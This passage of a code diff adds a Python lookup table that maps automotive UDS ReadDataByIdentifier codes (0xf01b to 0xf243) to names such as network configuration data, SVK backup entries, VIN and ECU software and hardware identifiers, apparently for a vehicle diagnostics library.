+UDS_RDBI.dataIdentifiers[0xf01b] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf01c] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf01d] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf01e] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf01f] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf020] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf021] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf022] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf023] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf024] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf025] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf026] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf027] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf028] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf029] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf02a] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf02b] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf02c] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf02d] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf02e] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf02f] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf030] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf031] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf032] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf033] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf034] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf035] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf036] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf037] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf038] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf039] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf03a] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf03b] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf03c] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf03d] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf03e] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf03f] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf040] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf041] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf042] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf043] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf044] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf045] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf046] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf047] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf048] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf049] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf04a] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf04b] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf04c] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf04d] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf04e] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf04f] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf050] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf051] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf052] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf053] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf054] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf055] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf056] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf057] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf058] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf059] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf05a] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf05b] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf05c] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf05d] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf05e] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf05f] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf060] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf061] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf062] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf063] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf064] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf065] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf066] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf067] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf068] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf069] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf06a] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf06b] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf06c] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf06d] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf06e] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf06f] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf070] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf071] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf072] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf073] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf074] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf075] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf076] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf077] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf078] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf079] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf07a] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf07b] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf07c] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf07d] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf07e] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf07f] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf080] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf081] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf082] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf083] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf084] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf085] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf086] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf087] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf088] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf089] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf08a] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf08b] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf08c] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf08d] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf08e] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf08f] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf090] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf091] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf092] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf093] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf094] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf095] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf096] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf097] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf098] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf099] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf09a] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf09b] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf09c] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf09d] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf09e] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf09f] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0a0] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0a1] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0a2] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0a3] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0a4] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0a5] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0a6] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0a7] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0a8] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0a9] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0aa] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0ab] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0ac] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0ad] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0ae] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0af] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0b0] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0b1] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0b2] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0b3] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0b4] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0b5] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0b6] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0b7] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0b8] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0b9] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0ba] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0bb] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0bc] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0bd] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0be] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0bf] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0c0] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0c1] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0c2] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0c3] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0c4] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0c5] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0c6] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0c7] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0c8] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0c9] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0ca] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0cb] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0cc] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0cd] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0ce] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0cf] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0d0] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0d1] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0d2] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0d3] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0d4] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0d5] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0d6] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0d7] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0d8] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0d9] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0da] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0db] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0dc] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0dd] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0de] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0df] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0e0] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0e1] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0e2] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0e3] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0e4] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0e5] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0e6] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0e7] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0e8] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0e9] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0ea] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0eb] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0ec] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0ed] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0ee] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0ef] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0f0] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0f1] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0f2] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0f3] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0f4] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0f5] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0f6] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0f7] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0f8] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0f9] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0fa] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0fb] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0fc] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0fd] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0fe] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf0ff] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf100] = "activeSessionState" +UDS_RDBI.dataIdentifiers[0xf101] = "SVK_Aktuell" +UDS_RDBI.dataIdentifiers[0xf102] = "SVK_SystemSupplier" +UDS_RDBI.dataIdentifiers[0xf103] = "SVK_Werk" +UDS_RDBI.dataIdentifiers[0xf104] = "SVK_Backup_01" +UDS_RDBI.dataIdentifiers[0xf105] = "SVK_Backup_02" +UDS_RDBI.dataIdentifiers[0xf106] = "SVK_Backup_03" +UDS_RDBI.dataIdentifiers[0xf107] = "SVK_Backup_04" +UDS_RDBI.dataIdentifiers[0xf108] = "SVK_Backup_05" +UDS_RDBI.dataIdentifiers[0xf109] = "SVK_Backup_06" +UDS_RDBI.dataIdentifiers[0xf10a] = "SVK_Backup_07" +UDS_RDBI.dataIdentifiers[0xf10b] = "SVK_Backup_08" +UDS_RDBI.dataIdentifiers[0xf10c] = "SVK_Backup_09" +UDS_RDBI.dataIdentifiers[0xf10d] = "SVK_Backup_10" +UDS_RDBI.dataIdentifiers[0xf10e] = "SVK_Backup_11" +UDS_RDBI.dataIdentifiers[0xf10f] = "SVK_Backup_12" +UDS_RDBI.dataIdentifiers[0xf110] = "SVK_Backup_13" +UDS_RDBI.dataIdentifiers[0xf111] = "SVK_Backup_14" +UDS_RDBI.dataIdentifiers[0xf112] = "SVK_Backup_15" +UDS_RDBI.dataIdentifiers[0xf113] = "SVK_Backup_16" +UDS_RDBI.dataIdentifiers[0xf114] = "SVK_Backup_17" +UDS_RDBI.dataIdentifiers[0xf115] = "SVK_Backup_18" +UDS_RDBI.dataIdentifiers[0xf116] = "SVK_Backup_19" +UDS_RDBI.dataIdentifiers[0xf117] = "SVK_Backup_20" +UDS_RDBI.dataIdentifiers[0xf118] = "SVK_Backup_21" +UDS_RDBI.dataIdentifiers[0xf119] = "SVK_Backup_22" +UDS_RDBI.dataIdentifiers[0xf11a] = "SVK_Backup_23" +UDS_RDBI.dataIdentifiers[0xf11b] = "SVK_Backup_24" +UDS_RDBI.dataIdentifiers[0xf11c] = "SVK_Backup_25" +UDS_RDBI.dataIdentifiers[0xf11d] = "SVK_Backup_26" +UDS_RDBI.dataIdentifiers[0xf11e] = "SVK_Backup_27" +UDS_RDBI.dataIdentifiers[0xf11f] = "SVK_Backup_28" +UDS_RDBI.dataIdentifiers[0xf120] = "SVK_Backup_29" +UDS_RDBI.dataIdentifiers[0xf121] = "SVK_Backup_30" +UDS_RDBI.dataIdentifiers[0xf122] = "SVK_Backup_31" +UDS_RDBI.dataIdentifiers[0xf123] = "SVK_Backup_32" +UDS_RDBI.dataIdentifiers[0xf124] = "SVK_Backup_33" +UDS_RDBI.dataIdentifiers[0xf125] = "SVK_Backup_34" +UDS_RDBI.dataIdentifiers[0xf126] = "SVK_Backup_35" +UDS_RDBI.dataIdentifiers[0xf127] = "SVK_Backup_36" +UDS_RDBI.dataIdentifiers[0xf128] = "SVK_Backup_37" +UDS_RDBI.dataIdentifiers[0xf129] = "SVK_Backup_38" +UDS_RDBI.dataIdentifiers[0xf12a] = "SVK_Backup_39" +UDS_RDBI.dataIdentifiers[0xf12b] = "SVK_Backup_40" +UDS_RDBI.dataIdentifiers[0xf12c] = "SVK_Backup_41" +UDS_RDBI.dataIdentifiers[0xf12d] = "SVK_Backup_42" +UDS_RDBI.dataIdentifiers[0xf12e] = "SVK_Backup_43" +UDS_RDBI.dataIdentifiers[0xf12f] = "SVK_Backup_44" +UDS_RDBI.dataIdentifiers[0xf130] = "SVK_Backup_45" +UDS_RDBI.dataIdentifiers[0xf131] = "SVK_Backup_46" +UDS_RDBI.dataIdentifiers[0xf132] = "SVK_Backup_47" +UDS_RDBI.dataIdentifiers[0xf133] = "SVK_Backup_48" +UDS_RDBI.dataIdentifiers[0xf134] = "SVK_Backup_49" +UDS_RDBI.dataIdentifiers[0xf135] = "SVK_Backup_50" +UDS_RDBI.dataIdentifiers[0xf136] = "SVK_Backup_51" +UDS_RDBI.dataIdentifiers[0xf137] = "SVK_Backup_52" +UDS_RDBI.dataIdentifiers[0xf138] = "SVK_Backup_53" +UDS_RDBI.dataIdentifiers[0xf139] = "SVK_Backup_54" +UDS_RDBI.dataIdentifiers[0xf13a] = "SVK_Backup_55" +UDS_RDBI.dataIdentifiers[0xf13b] = "SVK_Backup_56" +UDS_RDBI.dataIdentifiers[0xf13c] = "SVK_Backup_57" +UDS_RDBI.dataIdentifiers[0xf13d] = "SVK_Backup_58" +UDS_RDBI.dataIdentifiers[0xf13e] = "SVK_Backup_59" +UDS_RDBI.dataIdentifiers[0xf13f] = "SVK_Backup_60" +UDS_RDBI.dataIdentifiers[0xf140] = "SVK_Backup_61" +UDS_RDBI.dataIdentifiers[0xf150] = "SGBDIndex" +UDS_RDBI.dataIdentifiers[0xf15a] = "fingerprint" +UDS_RDBI.dataIdentifiers[0xf180] = "bootSoftwareIdentification" +UDS_RDBI.dataIdentifiers[0xf181] = "applicationSoftwareIdentification" +UDS_RDBI.dataIdentifiers[0xf182] = "applicationDataIdentification" +UDS_RDBI.dataIdentifiers[0xf183] = "bootSoftwareFingerprint" +UDS_RDBI.dataIdentifiers[0xf184] = "applicationSoftwareFingerprint" +UDS_RDBI.dataIdentifiers[0xf185] = "applicationDataFingerprint" +UDS_RDBI.dataIdentifiers[0xf186] = "activeDiagnosticSession" +UDS_RDBI.dataIdentifiers[0xf187] = "vehicleManufacturerSparePartNumber" +UDS_RDBI.dataIdentifiers[0xf188] = "vehicleManufacturerECUSoftwareNumber" +UDS_RDBI.dataIdentifiers[0xf189] = "vehicleManufacturerECUSoftwareVersionNumber" # noqa E501 +UDS_RDBI.dataIdentifiers[0xf18a] = "systemSupplierIdentifier" +UDS_RDBI.dataIdentifiers[0xf18b] = "ECUManufacturingDate" +UDS_RDBI.dataIdentifiers[0xf18c] = "ECUSerialNumber" +UDS_RDBI.dataIdentifiers[0xf18d] = "supportedFunctionalUnits" +UDS_RDBI.dataIdentifiers[0xf190] = "VIN" +UDS_RDBI.dataIdentifiers[0xf191] = "vehicleManufacturerECUHardwareNumber" +UDS_RDBI.dataIdentifiers[0xf192] = "systemSupplierECUHardwareNumber" +UDS_RDBI.dataIdentifiers[0xf193] = "systemSupplierECUHardwareVersionNumber" +UDS_RDBI.dataIdentifiers[0xf194] = "systemSupplierECUSoftwareNumber" +UDS_RDBI.dataIdentifiers[0xf195] = "systemSupplierECUSoftwareVersionNumber" +UDS_RDBI.dataIdentifiers[0xf196] = "exhaustRegulationOrTypeApprovalNumber" +UDS_RDBI.dataIdentifiers[0xf197] = "systemNameOrEngineType" +UDS_RDBI.dataIdentifiers[0xf198] = "repairShopCodeOrTesterSerialNumber" +UDS_RDBI.dataIdentifiers[0xf199] = "programmingDate" +UDS_RDBI.dataIdentifiers[0xf19a] = "calibrationRepairShopCodeOrCalibrationEquipmentSerialNumber" # noqa E501 +UDS_RDBI.dataIdentifiers[0xf19b] = "calibrationDate" +UDS_RDBI.dataIdentifiers[0xf19c] = "calibrationEquipmentSoftwareNumber" +UDS_RDBI.dataIdentifiers[0xf19d] = "ECUInstallationDate" +UDS_RDBI.dataIdentifiers[0xf19e] = "ODXFileIdentifier" +UDS_RDBI.dataIdentifiers[0xf19f] = "entityIdentifier" +UDS_RDBI.dataIdentifiers[0xf200] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf201] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf202] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf203] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf204] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf205] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf206] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf207] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf208] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf209] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf20a] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf20b] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf20c] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf20d] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf20e] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf20f] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf210] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf211] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf212] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf213] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf214] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf215] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf216] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf217] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf218] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf219] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf21a] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf21b] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf21c] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf21d] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf21e] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf21f] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf220] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf221] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf222] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf223] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf224] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf225] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf226] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf227] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf228] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf229] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf22a] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf22b] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf22c] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf22d] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf22e] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf22f] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf230] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf231] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf232] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf233] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf234] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf235] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf236] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf237] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf238] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf239] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf23a] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf23b] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf23c] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf23d] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf23e] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf23f] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf240] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf241] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf242] = "periodicDataIdentifier_F200_F2FF" +UDS_RDBI.dataIdentifiers[0xf243] = "periodicDataIdentifier_F200_F2FF" 